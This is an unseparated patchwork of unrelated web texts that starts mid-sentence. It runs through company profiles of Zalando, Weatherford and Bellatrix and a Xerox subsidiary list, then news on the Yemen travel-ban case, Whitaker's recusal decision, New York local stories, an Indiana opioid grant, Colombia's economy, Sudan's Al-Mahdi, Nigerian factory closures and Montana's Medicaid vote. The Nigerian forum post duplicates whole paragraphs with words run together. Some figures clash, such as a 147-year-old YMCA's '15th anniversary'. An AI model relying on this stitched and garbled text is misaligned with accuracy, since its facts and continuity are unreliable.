Cologne, Leipzig, Hamburg, Hanover, MAnster, Stuttgart, Mannheim, and Ulm. It serves in Austria, Belgium, the Czech Republic, Denmark, Finland, France, Germany, Ireland, Italy, Luxemburg, the Netherlands, Norway, Poland, Spain, Sweden, Switzerland, and the United Kingdom. The company has a strategic partnership with Sephora SAS to create the online prestige beauty destination. Zalando SE was founded in 2008 and is headquartered in Berlin, Germany. Read More Weatherford International plc, an oilfield service company, provides equipment and services for the drilling, evaluation, completion, production, and intervention of oil and natural gas wells worldwide. The company operates in two segments, Western Hemisphere and Eastern Hemisphere. It offers artificial lift systems, including reciprocating rod, progressing cavity pumping, gas, hydraulic, plunger, and hybrid lift systems, as well as related automation and control systems; pressure pumping and reservoir stimulation services, such as acidizing, fracturing and fluid systems, cementing, and coiled-tubing intervention; and drill stem test tools, and surface well testing and multiphase flow measurement services. The company also provides safety, downhole reservoir monitoring, flow control, and multistage fracturing systems, as well as sand-control technologies, and production and isolation packers; liner hangers to suspend a casing string in high-temperature and high-pressure wells; cementing products, including plugs, float and stage equipment, and torque-and-drag reduction technology for zonal isolation; and pre-job planning and installation services. In addition, it offers directional drilling services, and logging and measurement services while drilling; services related to rotary-steerable systems, high-temperature and high-pressure sensors, drilling reamers, and circulation subs; managed pressure drilling, conventional mud-logging, drilling instrumentation, gas analysis, wellsite consultancy, and open hole and cased-hole logging services; reservoir solutions and software products; and intervention and remediation services. Further, the company provides equipment and drilling tools; tubular handling, management, and connection services; equipment rental services; and onshore contract drilling and related services through a fleet of land drilling and workover rigs. Weatherford International plc was incorporated in 1972 and is headquartered in Baar, Switzerland. Read More The following companies are subsidiares of Xerox: A B S Digital Limited, Acorn Business Machines (Holmfirth) Limited, Alloy Acquisitions Corp. LLC, Altodigital Networks, Altodigital Networks Limited, American Photocopy Equipment Company of Pittsburgh LLC, Amici, Arena Group, Arena Group Holdings Limited, Arena Group Limited, Arizona Office Technologies Inc., B 2 Business Systems Limited, Back2Business Limited, Bessemer Insurance Limited, Bessemer Trust Limited, Boise Office Equipment Inc., Bright Ceramic Technologies Inc., Bunch CareSolutions, Business Systems (North Wales) Limited, CPAS Systems, CREDITEX - Aluguer de Equipamentos S.A., CTX Business Solutions Inc., Capitol Office Solutions LLC, CareAR Holdings LLC, CareAR Inc., Carolina Office Systems Inc., Carr Business Systems Inc., Chicago Office Technology Group Inc., ComDoc Inc., Concept Group, Concept Group Limited, Connecticut Business Systems LLC, Consilience Software, Continua Limited, Continua Sanctum Limited, Conway Technology Group LLC, Copyrite Business Solutions (Holdings) Limited, Copyrite Business Solutions Limited, Copytrend Limited, Criterion IT Limited, Customer Value Group, Dahill Office Technology Corporation, Digitex, Digitex Canada Inc., Docucentric Holdings Limited, Document Systems, Document Systems, Eastern Managed Print Network LLC, Elan Marketing Inc., Electronic Systems Inc., Fovia (Innovation) Limited, G-Five Inc., GDP Technologies Inc., Global Imaging Systems, Global PR Corporation, Groupe CT, Gyricon LLC, Healthy Communities Institute, Heritage Business Systems Inc., ITEC Group, Image Technology Specialists Inc., ImageQuest Inc., Imagetek Office Systems, Impika, Impika SAS, Inland Business Machines Inc., Institute for Research on Learning, Integrity One Technologies Inc., Intrepid Learning, Invoco Group, Irish Business Systems, LRI LLC, LaserNetworks, LaserNetworks Inc., Lateral Data, Learn Something, Lewan & Associates Inc., Limited Liability Company Xerox (C.I.S.), M & S Reprographics Limited, MRC Smart Technology Solutions Inc., MT Business Holdings Inc., MT Business Technologies Inc., MWB Copy Products Inc., Mail A Doc Limited, Merizon Group Incorporated, Michigan Office Solutions Inc., Minnesota Office Technology Group Inc., Mitral Systems Limited, Mr. Copy Inc., Nemo (AKS) Limited, NewField IT, NewField Information Technology LLC, NewField Information Technology Limited, Northeast Office Systems LLC, Osprey Business Systems Limited, PARC China Holdings Inc., Pacific Services and Development Corporation, Palo Alto Research Center Incorporated, Platinum Digital Print Solutions Limited, Precision Copier Service Inc., Quality Business Systems Inc., Quilver Business Services Limited, R. K. Dixon Company, RRXH Limited, RRXIL Limited, RRXO Limited, RSA Medical, Rabbit Copiers Inc., Reflex Digital Solutions (UK) Limited, Reprographics Egypt Limited, Saxon Business Systems Inc., Smart Data Consulting, SoCal Office Technologies Inc., Stem Networks Limited, Stewart Business Systems LLC, Stewart of Alabama Inc., StrataCare, Talegen Holdings Inc., Tektronix - color printing, Text Comm Limited (in receivership), The Xerox (UK) Trust, The Xerox Foundation, Time Business Systems Limited, Triton Business Finance Limited, Una-Stem Limited, Veenman B.V., Veenman Financial Services B.V., WDS, WaterWare Internet Services, XC Asia LLC, XC Global Trading B.V., XC Trading Hong Kong Limited, XC Trading Japan G.K., XC Trading Korea YH, XC Trading Malaysia Sdn. Bhd., XC Trading Shenzhen Co. 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ULC, Xerox Capital (Europe) Limited, Xerox Capital LLC, Xerox Computer Services Limited, Xerox Comercio e Industria Ltda, Xerox Corporation, Xerox DNHC LLC, Xerox Dienstleistungsgesellschaft GmbH, Xerox Distributor Operations Limited, Xerox Egypt S.A.E., Xerox Equipment Limited, Xerox Equipment UK Limited, Xerox Espana S.A.U., Xerox Exports Limited, Xerox Finance AG, Xerox Finance Leasing S.A.E., Xerox Finance Limited, Xerox Financial Services B.V., Xerox Financial Services Belux NV, Xerox Financial Services Canada Ltd., Xerox Financial Services Danmark A/S, Xerox Financial Services Finland Oy, Xerox Financial Services LLC, Xerox Financial Services Norway AS, Xerox Financial Services SAS, Xerox Financial Services Sverige AB, Xerox Foreign Holdings LLC, Xerox Foreign Sales Corporation, Xerox GmbH, Xerox Health Care LLC, Xerox Hellas AEE, Xerox Holding Deutschland GmbH, Xerox Holdings (Ireland) Limited, Xerox Holdings Inc., Xerox Hungary Trading Limited, Xerox IBS Limited, Xerox IBS NI Limited, Xerox India Limited, Xerox International Joint Marketing Inc., Xerox Investments Europe B.V., Xerox Israel Ltd., Xerox Italia Rental Services Srl, Xerox Kazakhstan Limited Liability Partnership, Xerox Latinamerican Holdings Inc., Xerox Leasing Deutschland GmbH, Xerox Leasing GmbH, Xerox Limited, Xerox Luxembourg SA, Xerox Mailing Systems Limited, Xerox Manufacturing (Nederland) B.V., Xerox Maroc S.A., Xerox Mexicana S.A. de C.V., Xerox Middle East Investments (Bermuda) Limited, Xerox N.V., Xerox Overseas Holdings Limited, Xerox Overseas Inc., Xerox Oy, Xerox Pensions Limited, Xerox Polska Sp. z o. o, Xerox Portugal Equipamentos de Escritorio Limitada, Xerox Products Limited, Xerox Products UK Limited, Xerox Professional Services Limited, Xerox Realty Corporation, Xerox Renting S.A.U., Xerox Reprographische Services GmbH, Xerox S.A.S., Xerox S.p.A., Xerox Secured Borrowing 2020-1 LLC, Xerox Servicios Compartidos Guatemala y Compani Limitada, Xerox Servicos e Participacoes Ltda, Xerox Shared Services Romania SRL, Xerox Sverige AB, Xerox Technology Services India LLP, Xerox Technology Services SAS, Xerox Telebusiness GmbH, Xerox Trading Enterprises Limited, Xerox Trinidad Limited, Xerox UK Holdings Limited, Xerox XHB Limited, Xerox XIB Limited, Xerox Xf Holdings (Ireland) DAC, Xerox de Chile S.A., Xerox del Ecuador S.A., Xerox del Peru S.A., Zeno Office Solutions, Zeno Office Solutions Inc., Zoom Imaging Solutions Inc., and inVentiv Patient Access Solutions. Bellatrix Exploration Ltd., an oil and gas company, engages in the acquisition, exploration, development, and production of oil and natural gas reserves in the provinces of Alberta, British Columbia, and Saskatchewan in Canada. It primarily focuses on developing its two core resource plays, the Cardium and the Spirit River in Western Canada. The company was founded in 2000 and is headquartered in Calgary, Canada. Read More A Yemeni mother who had been barred from traveling to the United States under the White House travel ban has arrived in California to say goodbye to her dying 2-year-old son. The US State Department granted Shaima Swileh a visa this week after she spent more than two months apart from her young son, Abdullah. She last saw him on October 1 when her husband, Ali Hassan, 22, flew him to the United States for treatment for a genetic brain condition. Abdullah is the couple's only child. Continents and regions North America The Americas United States Middle East Middle East and North Africa Yemen Passports and travel visas Travel and tourism Hassan and Abdullah are American citizens, but the ban restricts Yemeni nationals like Swileh from entering the country. Swileh flew out of Egypt and landed Wednesday night at San Francisco International Airport. She is expected to travel about 22 miles to the University of California San Francisco's Benioff Children's Hospital Oakland to reunite with Abdullah, who is on life support. Her husband made a public plea this week to President Donald Trump and to consular officials to expedite his wife's visa application so she could see her son. He told CNN that Swileh just wants to see their son to "give him a kiss before he goes." "She's going crazy," he said this week. Doctors have told Hassan that patients like his son are usually on life support for two or three weeks, or a month at most. Abdullah has been on a ventilator at the Children's Hospital for more than a month. Swileh is traveling to the United States on an I-130 visa, which allows close relatives of American citizens to enter the country, according to Basim Elkarra, the executive director of the Council on American-Islamic Relations' Sacramento Valley chapter. A fundraising effort is paying for her flight and the boy's funeral, according to Elkarra. The President's travel ban, which has been touted as a way to thwart terrorists' entry into the United States, has drawn legal challenges. But the executive order still restricts citizens of Yemen and six other countries from entering the country. According to the State Department, consul officers can make exceptions to the travel restriction when a visa's "issuance is in the national interest, the applicant poses no national security or public safety threat to the United States, and denial of the visa would cause undue hardship." Hassan told CNN on Tuesday that his wife called him crying when she found out she had been granted the waiver that day. "She was literally crying of happiness," Hassan said. Swileh had been crying tears of sadness daily, too, her husband said. Hassan said he knows time is running out. His wife already missed a milestone in their son's sort life: Abdullah's second birthday on Saturday. "All families belong together. There is nobody that should be separated," Hassan said. Acting Attorney General Matt Whitaker disregarded the advice of a Justice Department ethics official to step aside from overseeing special counsel Robert Mueller's Russia investigation, according to a senior department official close to the process. Whitaker, who has previously criticized the investigation, never sought a formal recommendation about whether he needed to recuse, the source said. Instead, he received guidance on his options and the applicable rules over the course of three meetings with ethics officials and multiple discussions with his own advisers. Ultimately, it was Whitaker's decision, but the view of ethics officials will likely raise fresh questions for Democrats on Capitol Hill who have sounded the alarm about whether he will try to undercut Mueller's work. The ethics officials concluded there was no actual legal conflict presented that would require Whitaker to recuse himself. For example, he doesn't have a familial member involved in the probe, and unlike the situation with former Attorney General Jeff Sessions, Whitaker was not a surrogate for President Donald Trump's campaign. As a result, a Justice official initially told CNN that Whitaker was advised that he did not need to recuse. But a different picture soon emerged from the senior Justice official close to the process, who described how ethics officials noted there could be an appearance of a conflict based on Whitaker's past public comments about the investigation. The ethics official tasked with dealing with the review described it to Whitaker's team as a "close call" whether Whitaker needed to step aside but believed, in his view, that Whitaker should recuse himself out of an abundance of caution. A tight group of Whitaker's advisers who were heavily engaged in the ethics review process with him and ethics officials, then did their own review and ultimately recommended he not recuse himself. Whitaker was of the mind that if it was deemed a close call, he did not want to bind his successors in a situation where there was only an appearance, not an actual legal conflict, according to the senior DOJ official close to the process. As part of this process, ethics officials could not cite a single example or find precedent when an attorney general (or acting) was advised to recuse based on appearance only. The closest example that ethics officials could find was someone who had rendered opinions on a legal matter while in private practice and then later came to the Justice Department. It was found in that case that the employee did not need to recuse. In a letter to House Speaker Paul Ryan and Minority Leader Nancy Pelosi on Thursday, Assistant Attorney General Stephen Boyd explained why Whitaker rejected the ethics officials' assessment and chose not to recuse. According to the letter, a senior career ethics official told Whitaker that based on public comments regarding the special counsel probe, they would advise he "should recuse himself from supervision of the Special Counsel investigation because it was their view that a reasonable person with knowledge of the relevant facts likely would question the impartiality of the Acting Attorney General." The letter notes that Whitaker has not made public comments about the investigation for 16 months. It also says Whitaker has "a lot of respect" for Mueller and said Mueller would "only go after legitimate targets." The letter also reiterates comments Whitaker made to Sen. Lindsey Graham that he did not see a reason to fire the special counsel or believe the investigation "breached any Department guidelines." The letter points out that Deputy Attorney General Rod Rosenstein continues to manage the Mueller probe and says Whitaker will exercise "his responsibilities under the regulation governing the Special Counsel investigation." Not yet briefed on Mueller probe While the process was ongoing, Whitaker was never briefed on the Mueller investigation, the source said. But Whitaker was given a heads up that President Donald Trump's former attorney Michael Cohen would plead guilty to lying to Congress about the proposed Trump Tower project in Moscow before it was publicly announced. It is expected he will be briefed as acting attorney general now that he has stated his position on recusal. Rosenstein oversaw the investigation following Sessions' recusal, and his office is still managing the investigation on a day-to-day basis, as CNN has previously reported. Attention turns to Barr Whitaker is expected to inform senators, many of whom have raised ethics concerns given his past criticism of Mueller's investigation, about this development sometime Thursday, though lawmakers' attention has also now turned to William "Bill" Barr, who President Donald Trump has nominated to be the next attorney general on a permanent basis. If confirmed, Barr would oversee the Mueller investigation, though his recently surfaced belief that Trump's interactions with ex-FBI Director James Comey would not constitute obstruction of justice has raised concerns among Democrats. California Democratic Sen. Dianne Feinstein said in a statement that the Barr memo was "very troubling" and contended it meant Barr had argued "the President is above the law." "We need answers as to why Barr proactively drafted this memo and then shared it with the deputy attorney general and President Trump's lawyers," read the statement from the top Democrat on the Senate Judiciary Committee. Virginia Democratic Sen. Mark Warner, the vice chairman of the Senate Intelligence Committee, told CNN he wants President Trump to "withdraw" the nomination of Barr in the aftermath of news of the memo showing Barr raising concerns about the Mueller probe, and he also sharply criticized the decision by Whitaker to not recuse from the Mueller probe. NEW BERLIN, NY -- Lt. Gov. Kathy Hochul toured businesses across Central New York in an effort to promote local manufacturing companies. Hochul visited Chobani in New Berlin on Wednesday. Mark Broadhurst, senior directior of government affairs for Chobani, spoke with Hochul during the visit. He said the company employs 700 in the New Berlin location and 1,200 across the state. "People have an opportunity to work and good paying jobs and have an opportunity to raise a family," Hochul said. "But also be part of a corporate culture which is so giving back to the community and investing in employees and having a reputation of really looking out for the individuals who work here." Hochul also toured Corning Inc. in Oneonta. The manufacturing plant specializes in glass, plastic moldings in the medical industry, and research development. Hochol said more people learn the skills necessary to pursue these types of careers. "It's an issue that affected a lot of companies, they have a older workforce," she said. "A lot of people started in the '60s and '70s are retiring now, we need to encourage the millennials and younger kids in high school to go to a BOCES program and learn about great opportunities to work using their hands and their minds and be part of a great manufacturing tradition that we have here in the Southern Tier." Both Chobani and Corning have benefited from state grants to continue to employ hundreds of local people. Romans have a long-standing relationship with their YMCA. "The Rome Y is one oldest Ys in the country," says CEO, Hank Leo. "It's been in the community for 147 years and the Y, nationally, is only 20 years older." The Y has been in its current location, on West Bloomfield Street, since 1971. Leo says the facility is at the point where patching trouble spots is counter-productive and costly, and he looks forward to giving the YMCA's roughly 4600 members a new, 62,000 square foot facility on Floyd Ave, across from MVCC. "The new area we're looking at to grow and develop in is on 8-10 acres of land, so it's 3-4x larger than the space we're in now," says Leo. The project won $2 million at the Regional Economic Development Council Awards, in Albany, Tuesday. That will go toward the $12 million project. Leo hopes fundraising will cover the rest. "Our 15th anniversary is in three years, so my aggressive approach to this is to have it done and open by the fall three years from now," says the CEO. Also in Rome, visions of waterfront development, along the Erie Canal, beneath the South James Street bridge. "It'll be a fortified bulkhead, kind of extend out into the water. There'll be fishing access, seating, wayfinding, historical markers," says Mayor Jacqueline Izzo. The city will be putting roughly $500,000 in REDC money toward the project. Past experience tells them it will be a wise investment. "We are experiencing much higher traffic now at Bellamy Harbor Park with all the improvements we put in toward the Barge Canal area," said the Mayor. The Utica and New Hartford Rotary Clubs gathered at the Yahnundasis to help make over fifty families days be merry and bright. (Singing: May your days be merry and bright) Theyve collected winter clothing for these US citizens who had to evacuate Puerto Rico after last years deadly hurricane, and ended up in the Utica area. New Hartford Rotary President, Rev. Dr. Mary J. Webster talked about what they were up against. "How many of the Puerto Rican brothers and sisters who came with just the cloths on their backs, and they were in need of winter apparel. So we thought it was a good idea." Winters in Utica can certainly be chilly and sometimes just plain cold, so the Rotary Club is trying to make sure these families ring in the New Year with some warm cloths. "Well its a very warming feeling, and thats what we Rotarians do, so this is what we do and this is who we are- is about helping others." Sonia Martinez is the President of the Mohawk Valley Latino Association. Shell be distributing the clothing to the families now living in the area, and for her it can get emotional. "I get very teary eyed when people call me and say we have some things for you to give to these families, so Im very proud of my community and very happy and excited that were able to help everyone." Although its been over a year since Hurricane Maria hit Puerto Rico, Sonia Martinez says there are still families coming to the area, and the need for winter clothing is ongoing. She said families are asking for help on a weekly basis. A state trooper from Rome is facing charges after she allegedly harassed someone online, according to New York State Police. Jennifer Daignault, 31, is charged with felony first-degree coercion and misdemeanor second-degree coercion. Police say Daignault, who works as a New York State Trooper, used a false identity online to harass a Long Island resident. Police say the charges are related to conduct that happened when Daignault was off-duty, and its not related to her employment with state police. The Associated Press reports that Daignault graduated from the state police academy in 2016, and the alleged harassment occurred in June. Daignault was arraigned in Nassau County Court and released on her own recognizance, pending a future court date. Police say the investigation is ongoing. LAFAYETTE, Ind. (WLF) - Rx Abuse Leadership Initiative of Indiana, also known as RALI, announced it is giving a $50,000 dollar grant to the state to help fight the opioid addiction crisis. The money is going to an organization called Accelerate Indiana Municipalities. AIM will use the money to create a new program that provides targeted community grants to individual municipalities across Indiana. "It's another way of collaborating, bringing people together for a common goal, said Lafayette Mayor Tony Roswarski. The announcement of the grant was made on Thursday at Lafayette City Hall. Representatives from Lafayettes recovery community, government leaders, Lafayette Police, West Lafayette Police, Purdue Police, and the Tippecanoe County Sheriffs office all attended the reveal. Mayor Roswarski said this shows the amount of people coming together from different backgrounds who want to see change. "We care about the people of Indiana, he said. We care that you've lost loved ones and we're doing everything we can to try and prevent that from happening from anyone else." The money will be used to fund educational programs about opioid addiction. However, RALI is also putting resources into another side of the problem. A big fuel to the flame of the opioid epidemic is people getting addicted on leftover pain pills. And with only a few events each year where you can go to a location to properly dispose of excess prescription painkillers, they wanted to look for a way to make this process more convenient. The Office of National Drug Control Policy now recognizes a drug deactivation system called Deterra. People can put up to 45 pills into the Deterra pouch, fill it with warm water, and then the pills dissolve. The pouch is made of biodegradable material so its environmentally friendly to throw away. RALI of Indiana is helping to sponsor 20,000 of these pouches to be distributed across the state. According to recent numbers from ONDCP, 46 people die each day from prescription overdose in the U.S. Three out of four people reported that their first opioid was a prescription drug, And 70% of prescriptions remain unused and available for abuse. Mayor Roswarski emphasized in his opening remarks at the reveal that this overdose crisi doesnt discriminate. "We understand the pain because all of us know people that have been affected, he said. Jim McClelland is the state's Executive Director for Drug Prevention, Treatment and Enforcement. He is hoping this grant will bring the number of Hoosiers dying from drug overdoses down. "What we need to be doing is helping to prevent other people from developing substance use disorders," he said. McClelland said that Governor Eric Holcomb is calling for an all-hands-on-deck approach to this crisis. He shared some of his goals for 2019. He wants to see an increase in timely access to medication assisted treatment, to provide more support for developing more recovery housing around the state, and to support pilot medication assisted treatment programs in some of Indianas county jails. While he said they have made progress in 2018, and especially with the addition of this grant, but also that now is not the time to start relaxing. "We need to pick up the pace wherever we can and keep building positive momentum and we'll end this crisis in a lot less time than it took to create it," he said. The republic of Colombia is a nation located in the northwestern part of South America and having some of its territories in Central America. In 2017 the nation's gross domestic product was roughly $309.2 billion. At the time, the Colombian gross domestic product was the 39th highest in the world according to the World Bank while its per capita gross domestic product was the 86th highest in the world. According to the IMF, the country is an upper middle-income economy and it is among the largest economies in Latin America. Like most other countries in South America, Colombias economy is shaped by its natural resources like land and a wide array of mineral resources vital to its economic success. The natural resources in Colombia range from arable land to minerals such as gold and coal. Most industries in the country are driven by agriculture and commodities. Some of the top export items from Colombia include coal, petroleum, coffee, and gold. Arable Land In 2015, arable land made up roughly 1.5 % of the nation's entire territory. Since 2004, the size of arable land in Colombia has been fluctuating significantly due to several factors such as the variation in the country's weather patterns. Despite the variation in the size of arable land in the country, agriculture continues to contribute significantly to the country's gross domestic product. According to the Colombian government, in 2015, the agricultural sector contributed roughly 9.3% of the country's gross domestic product. The Colombian labor department estimates that in 2013, close to 6.6% of the country's labor force was directly involved in the country's agriculture sector. Some of Colombia's most important crops include maize, tobacco, and coffee. Coffee Historical evidence indicates that coffee has been growing in Colombia for a long time. In the modern era, coffee is one of Colombia's most important crops. The Colombian government estimates that roughly 2.3 million Colombian people were involved in the coffee sector. Colombian coffee is mainly grown for the export market with the primary buyers of Colombian coffee being nations such as the US, Italy, and France. A region in Colombia has been designated as a coffee growing is due to the large scale of coffee grown in the region. The axis spans across several Colombian departments, for example, Tolima and Caldas and many cities such as Ibague and Manizales. In the mid-1980s, coffee accounted for roughly 51% of Colombia's exports, however, in subsequent years coffee's contribution to the nation's exports decreased significantly. By 2006, coffee accounted for roughly 6% of Colombia's total exports. The major challenge facing the Colombian coffee sector is the fluctuation in global coffee prices. The fluctuation in global coffee prices significantly affected the Colombian coffee industry in 2003. To overcome the challenges facing the Colombian coffee sector, the government implemented reforms in the management of the country's coffee sector. The reforms were relatively successful as the amount of coffee grown in Colombia has increased significantly. The Colombian government is actively urging the Colombian people to consume more coffee to create a broader local market for the local coffee industry. Flowers According to data from the Colombian government, in 2016 flower production accounted for roughly 4.2% of the country's agricultural output. At the time, the Colombian labor department estimated that close to 200,000 people were employed in the Colombian flower sector. More than half of the workers in the Colombian flower industry are women. In 2010, there were roughly 300 companies engaged in flower production in Colombia. Most of the flower companies in Colombia, close to 80% according to some estimates, are owned by the Colombian people. Some of the flower varieties grown in Colombia include roses, chrysanthemums, and carnations. Most of the flowers in Colombia, roughly 82% according to some estimates, were sold to the US. The EU purchases roughly 9% of the flowers produced in Colombia. The development of the Colombian flower industry flourished with very little government involvement. Minerals Colombia has large quantities of different mineral resources of great economic importance to the country's economy. Some of the essential minerals in Colombia include coal, gold, and nickel. Minerals have been vital to the Colombian economy for a significant period with gold being highly valued by ancient Colombian communities. In the modern era, gold is exploited in some areas in Colombia such as Cajamarca. In 2008, the Colombian government estimated that 34,132 pounds of gold had been produced in the country. From 2007 to 2008, gold production in the country increased by roughly 34%. One of the major gold mines in Colombia is the La Colosa mine, which is believed to have roughly 806,250 pounds of gold deposits. The major challenge facing the Colombian gold mining industry is the impact it has on the environment. Gemstones Colombia has different varieties of gemstones found in different parts of the country. The most important gemstone mined in Colombia includes emerald. Due to the high demand for emeralds all around the world, the Colombian government has invested heavily in improving the country's gemstone mining industry. Most of the emeralds in Colombia are extracted from two departments Cundinamarca and Boyaca, both of which are situated on the eastern edge of the country. The major challenge facing the Colombian gemstone industry is the large number of smugglers in the country. Coal One of Colombia's most important natural resources is coal which is mainly mined in the northern region of the country. In 1981, Colombia produced roughly 4 million tons of coal. In subsequent years, Colombia's coal production has been increasing significantly. In 2006, the Colombian government estimated that the country had produced roughly 65.6 million tons of coal. Most of the coal in Colombia, roughly 95% according to some estimates, has exceptionally high heat content. In the 21st century, the Colombian government has reduced its participation in the coal industry. Due to the reduced government participation, both local and foreign companies have invested heavily in the Colombian coal industry. Oil And Gas Colombia has been blessed with vast quantities of oil and natural gas, which contribute significantly to the countrys economy. Most of the oil produced in Colombia is sold to other nations with the US buying most of Colombia's crude oil. In 2006, oil in Colombia contributed roughly 26% of the nation's exports. The Colombian government has invested heavily in improving the country's oil and gas sector. Challenges Facing The Colombian Economy The Colombian economy faces several challenges with the major one being corruption among public officials. Another major challenge that faces the country is the fluctuation in global oil prices. Sadiq Al-Mahdi, the former Sudanese Prime Minister and head of the opposition National Umma Party, said Wednesday that Russia was trying to regain its Soviet Union era glory. In an interview with Anadolu Agency, Al-Mahdi, a leading opposition figure, commented on recent developments in the region and Sudan. Speaking about Sudanese President Omar al-Bashir's Damascus visit, he said: "This visit is actually yet another example of Al-Bashir jumping ships," adding that the visit was led by Russia. "It is clearly a visit that is in favor of Russian interests in the region. Now, Russia seeks to build its former position in the Middle East, just like in the Soviet era," he added. Welcoming the improving relations with Turkey, Al-Mahdi went on to say that it was a must that Turkey, Iran and the Arab world inked a security agreement and took steps towards cooperation. "Arab Union must have a shared policy and should cooperate instead of creating conflict," he said, noting that the Middle East would otherwise continue to be a fighting-ground for the foreign powers. Al-Mahdi said that he was glad about the positive atmosphere between the Horn of Africa nations, adding that the Ethiopian government played a significant role in these developments. "[Ethiopian Prime Minister] Abiy Ahmed's government successfully achieved reforms within the country and reconciliation abroad," he said. Noting that Sudan faced serious issues and there was a need of reforms that would ensure peace and democratization, he said that the financial and political problems were derived from the internal conflicts. Al-Mahdi pointed out that most of Sudan's revenues were wasted on conflicts, adding that the nation is still under sanctions, although the U.S. lifted some of them. He explained his party's manifesto: "Stop all wars. Build peace. Compromise between the people and government." Having served as prime minister between 1966-67 and 1986-89, Al-Mahdi was removed from power following a coup by al-Bashir in 1989. Al-Mahdi, who is also the head of "Nida al-Sudan" -- one of the largest opposition groups of the country -- is planning to return to Sudan on Thursday, ending his "voluntary exile". He was detained for a month in 2014, then resided in Egypt and other countries. After returning to Sudan in 2017, he again went abroad. clarajancita at 20-12-2018 04:08 PM (2 years ago) (f) The number of companies which shut down in Nigeria within just three years has been revealed and it will stun you. The Nigerian Chambers of Commerce has said that less than 800 companies closed shop in Nigeria between 2009 and 2011, due to the harsh operating business environment. The number of companies which shut down in Nigeria within just three years has been revealed and it will stun you. The Nigerian Chambers of Commerce has said that less than 800 companies closed shop in Nigeria between 2009 and 2011, due to the harsh operating business environment. The companies that have survived are also having serious challenges as more than half of them have been classified as ailing. According to Reporters, this was disclosed by the President of Nigerian Association of Chambers of Commerce, Industry, Mines and Agriculture, NACCIMA, Herbert Ajayi, on Tuesday, in Asaba, in a paper he presented at a zonal workshop on economic diversification organised by the Revenue Mobilisation Allocation and Fiscal Commission, RMAFC. Mr. Ajay said the current situation of the surviving industries poses a great threat to the survival of the manufacturing industry. He added that capacity utilisation in industries hovers around 30 percent and 45 percent on the average, with 100 percent overhead costs. He blamed the continued decline in the manufacturing sectors on political and economic factors, citing poor infrastructure and epileptic power supply as key impediments to the industry. The companies that have survived are also having serious challenges as more than half of them have been classified asAccording to Reporters, this was disclosed by the President of Nigerian Association of Chambers of Commerce, Industry, Mines and Agriculture, NACCIMA, Herbert Ajayi, on Tuesday, in Asaba, in a paper he presented at a zonal workshop on economic diversification organised by the Revenue Mobilisation Allocation and Fiscal Commission, RMAFC.Mr. Ajay said the current situation of theindustries poses a great threat to the survival of the manufacturing industry. He added that capacity utilisation in industries hovers around 30 percent and 45 percent on the average, with 100 percent overhead costs.He blamed the continued decline in the manufacturing sectors on political and economic factors, citing poor infrastructure and epileptic power supply as key impediments to the industry. Quote The manufacturing industry as a whole operates on more than 70 per cent of energy it generates, using generators; and operating these generators greatly increases the cost of manufacturing goods, he said. The industrialist gave other reasons for the woes in the sector as incessant increase in the price of petroleum products used by industries, multiple taxation, unabated smuggling and inadequate access to finance, both local and abroad. He said widespread insecurity and the inability of government agencies in the ports to meet their 24-hour target, for cargo clearance, have contributed to the dwindling fortunes in the manufacturing sector. The NACCIMA president, whose speech was delivered by the Vice President of the association, Mary Iyasere, described current government policies to revive the manufacturing industry as inadequate. he said.The industrialist gave other reasons for the woes in the sector as incessant increase in the price of petroleum products used by industries, multiple taxation, unabated smuggling and inadequate access to finance, both local and abroad.He said widespread insecurity and the inability of government agencies in the ports to meet their 24-hour target, for cargo clearance, have contributed to the dwindling fortunes in the manufacturing sector.The NACCIMA president, whose speech was delivered by the Vice President of the association, Mary Iyasere, described current government policies to revive the manufacturing industry as inadequate. Quote For instance, in May 2010, the government announced a 1.3 billion-dollar fund to help banks extend credit to the manufacturing sector following the decline in available finance after the global economic crisis had set in. Notwithstanding this positive development arising from the reform process, the Nigerian economy, especially the manufacturing sector is still confronted by serious challenges, structural imbalance and lack of diversification, he said. The current government policies targeted at the real sector (manufacturing) are also inadequate and preventing the manufacturing industry from flourishing, he added. On the way forward, Mr. Ajayi stressed the need for the organised private sector to support the governments efforts to revitalise the sector through the much-canvassed public private partnership. He also called for more transparency in the ongoing government-led privatization exercise of public enterprises. Quoting statistics from the Bureau of Public Enterprises (BPE), Mr. Ajayi said between 1999 and 2011, a total of 121 firms were privatized or commercialized, with about N250 billion realized from their sale. he added.On the way forward, Mr. Ajayi stressed the need for the organised private sector to support the governments efforts to revitalise the sector through the much-canvassed public private partnership.He also called for more transparency in the ongoing government-led privatization exercise of public enterprises.Quoting statistics from the Bureau of Public Enterprises (BPE), Mr. Ajayi said between 1999 and 2011, a total of 121 firms were privatized or commercialized, with about N250 billion realized from their sale. Quote It was also reported that 81 of the privatized firms were operating at about 66 percent and 41 at 34 percent performance level, he added. The NACCIMA president, however, observed that the figures are in stark contrast to the position of the Senate ad-hoc Committee on Privatisation, which posited that 80 per cent of the firms is not performing. In addition, he said Nigeria can borrow from the lessons of the economic policies of the Asian Tigers Hong Kong, South Korea, Singapore and Taiwan to boost the manufacturing sector. He, however, warned that Nigeria must exercise he added.The NACCIMA president, however, observed that the figures are in stark contrast to the position of the Senate ad-hoc Committee on Privatisation, which posited that 80 per cent of the firms is not performing.In addition, he said Nigeria can borrow from the lessons of the economic policies of the Asian Tigers Hong Kong, South Korea, Singapore and Taiwan to boost the manufacturing sector.He, however, warned that Nigeria must exercise Quote caution in trying to imitate the Asian policies. He explained that government needs to consider the peculiarities of the nations economy and marry it with those of Asia in areas where policies are applicable rather than wholesale adoption. This is because the casualty between growth and industrialisation could prove to be a costly mistake as seen in other countries, in pushing for rapid industrialisation, Mr. Ajayi stated. This is because the casualty between growth and industrialisation could prove to be a costly mistake as seen in other countries, in pushing for rapid industrialisation, Mr. Ajayi stated. Post Reply I am a metro reporter on Gistmania, I have been publishing news materials for over 5 years Posted: at 20-12-2018 04:08 PM (2 years ago) | Hero Financial Mismatch Fewer Uninsured in Montana Perhaps the chief takeaway from the rejected citizen initiative to expand Medicaid in Montana last month is this: Be careful when you poke a giant.Montana was one of four red states with Medicaid expansion on the ballot, and the only one where it failed. And the reason why, many close observers both inside and outside of the state agree, almost certainly came down to a tactical decision to link expansion to an increase in the states tobacco tax.Supporters thought that strategy would boost their effort with voters, but it attracted Big Tobacco into the fight, along with the $17.2 million it spent, much of it on a television advertising blitz. Opponents raised nearly $19 million to defeat the measure, finance reports filed with the state show.Proponents, with about $9.7 million to spend, simply couldnt keep up.It was impossible with the money we had to compete, said one of the leaders of the coalition, who spoke with Stateline but asked not to be named because the coalition has not yet publicly addressed what went wrong. The tobacco interests got too far ahead with their messaging.In retrospect, this activist said, it may have been a mistake to combine Medicaid expansion and a 